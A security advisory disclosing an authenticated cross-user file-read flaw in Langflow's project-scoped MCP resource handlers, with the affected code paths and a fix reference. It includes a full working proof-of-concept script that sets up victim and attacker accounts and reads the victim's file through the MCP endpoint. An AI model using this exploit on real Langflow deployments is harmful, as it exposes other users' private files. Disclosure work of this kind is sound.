Summary
Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers
Advisory details
Summary
Langflow's project-scoped MCP transport authenticates the caller for the project_id in the connection URL, but the subsequent resources/read operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership.
This is a cross-user authorization bypass (userA -> userB) that allows arbitrary read access to files stored under other users' flow namespaces.
Details
Verified against local checkout:
- Repository:
langflow-ai/langflow - Verified on release tag:
v1.8.3 - Commit:
08bf98404cfd7737fde57a2588785766cdf1b42e - Earliest stable release known to contain the vulnerable code path:
v1.6.8
Relevant code path:
src/backend/base/langflow/api/v1/mcp_projects.py:147-193verify_project_auth_conditional()authenticates the caller and checks access only to theproject_idin the MCP transport URL.src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241The project-scoped MCP server registersread_resource()and forwards the attacker-controlled URI directly tohandle_read_resource(uri=uri).src/backend/base/langflow/api/v1/mcp_utils.py:163-182handle_read_resource()parses the last two URI path segments asflow_idandfilename, then directly calls:storage_service.get_file(flow_id=flow_id, file_name=filename)No check ties the supplied
flow_idback to the authenticated user or the current project.src/backend/base/langflow/services/storage/local.py:141-149src/backend/base/langflow/services/storage/s3.py:200-217The storage layer performs a raw namespace read and is not authorization-aware.
The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI.
This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data:
src/backend/base/langflow/api/v1/mcp_utils.py:102-121handle_list_resources(project_id=None)lists files for all flows.src/backend/base/langflow/api/v1/mcp_utils.py:333-380handle_list_tools(project_id=None)queries all flows and includes flow IDs in tool metadata.
That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier.
PoC
Preconditions:
- Langflow is running locally with authentication enabled.
- Two separate users exist on the same instance.
- The victim has a flow with an uploaded file.
- The attacker has access to any project they own.
Verify the issue locally by starting Langflow with:
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'
set -a
source .env.verify
set +a
export LANGFLOW_CONFIG_DIR="$PWD/.langflow-verify"
uv run python - <<'PY'
from langflow.main import setup_app
import uvicorn
app = setup_app(backend_only=True)
uvicorn.run(app, host="127.0.0.1", port=7860, log_level="debug")
PY
Then, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that:
- the normal file download route is blocked for the attacker (
404) - the same file is readable through the attacker's own project-scoped MCP connection
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'
set -euo pipefail
export BASE='http://127.0.0.1:7860'
export PASS='Passw0rd!Passw0rd!'
export VICTIM_USER="victim.$RANDOM@example.com"
export ATTACKER_USER="attacker.$RANDOM@example.com"
curl -sS -X POST "$BASE/api/v1/users/" \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$VICTIM_USER\",\"password\":\"$PASS\"}" >/dev/null
curl -sS -X POST "$BASE/api/v1/users/" \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$PASS\"}" >/dev/null
export VICTIM_TOKEN=$(
curl -sS -X POST "$BASE/api/v1/login" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "username=$VICTIM_USER" \
--data-urlencode "password=$PASS" | jq -r '.access_token'
)
export ATTACKER_TOKEN=$(
curl -sS -X POST "$BASE/api/v1/login" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "username=$ATTACKER_USER" \
--data-urlencode "password=$PASS" | jq -r '.access_token'
)
export VICTIM_PROJECT_ID=$(
curl -sS -X POST "$BASE/api/v1/projects/" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"victim-project"}' | jq -r '.id'
)
export ATTACKER_PROJECT_ID=$(
curl -sS -X POST "$BASE/api/v1/projects/" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"attacker-project"}' | jq -r '.id'
)
export VICTIM_FLOW_ID=$(
curl -sS -X POST "$BASE/api/v1/flows/" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-H 'Content-Type: application/json' \
-d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folder_id\":\"$VICTIM_PROJECT_ID\"}" \
| jq -r '.id'
)
printf 'cross-project-read-proof\n' > /tmp/secret.txt
export UPLOAD_JSON=$(
curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIM_FLOW_ID" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-F "file=@/tmp/secret.txt"
)
export VICTIM_FILE=$(
printf '%s' "$UPLOAD_JSON" | jq -r '.file_path | split("/") | last'
)
export VICTIM_URI="$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE"
export ATTACKER_API_KEY=$(
curl -sS -X POST "$BASE/api/v1/api_key/" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"attacker-mcp-key"}' | jq -r '.api_key'
)
export DIRECT_STATUS=$(
curl -sS -o /dev/null -w '%{http_code}' \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
"$VICTIM_URI"
)
export MCP_READ_OUTPUT=$(
uv run python - <<'PY'
import asyncio
import base64
import os
import httpx
from mcp import ClientSession
from mcp.client.streamable_http import streamable_http_client
base = os.environ["BASE"]
project_id = os.environ["ATTACKER_PROJECT_ID"]
api_key = os.environ["ATTACKER_API_KEY"]
victim_uri = os.environ["VICTIM_URI"]
url = f"{base}/api/v1/mcp/project/{project_id}/streamable"
async def main():
async with httpx.AsyncClient(headers={"x-api-key": api_key}, timeout=30.0) as client:
async with streamable_http_client(url, http_client=client) as (read_stream, write_stream, _):
async with ClientSession(read_stream, write_stream) as session:
await session.initialize()
result = await session.read_resource(victim_uri)
blob = result.contents[0].blob
print(base64.b64decode(base64.b64decode(blob)).decode().strip())
asyncio.run(main())
PY
)
echo "Direct /files/download as attacker -> $DIRECT_STATUS"
echo "Project-scoped MCP resources/read -> $MCP_READ_OUTPUT"
Expected output:
Direct /files/download as attacker -> 404
Project-scoped MCP resources/read -> cross-project-read-proof
Observed server logs during verification:
GET /api/v1/files/download/... 404 Not Found
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK
POST /api/v1/mcp/project/<attacker-project-id>/streamable 202 Accepted
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK
Impact
This is an authenticated IDOR / arbitrary file read issue in the MCP layer.
Any authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to resources/read.
Practical impact includes:
- Cross-user disclosure of uploaded documents, CSV files, JSON files, prompts, and other flow-backed ar
References
- https://github.com/advisories/GHSA-4hmc-cfm3-w43c
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-4hmc-cfm3-w43c
- https://nvd.nist.gov/vuln/detail/CVE-2026-105699
- https://github.com/langflow-ai/langflow/pull/12818
- https://github.com/langflow-ai/langflow/commit/b8fe970493fd5fb2e1fc71dfccc79f90b76058fa
- https://github.com/langflow-ai/langflow/commit/f0fd436fe9829192ee550e6cb46961a01dd37032
- https://github.com/langflow-ai/langflow/releases/tag/v1.9.1
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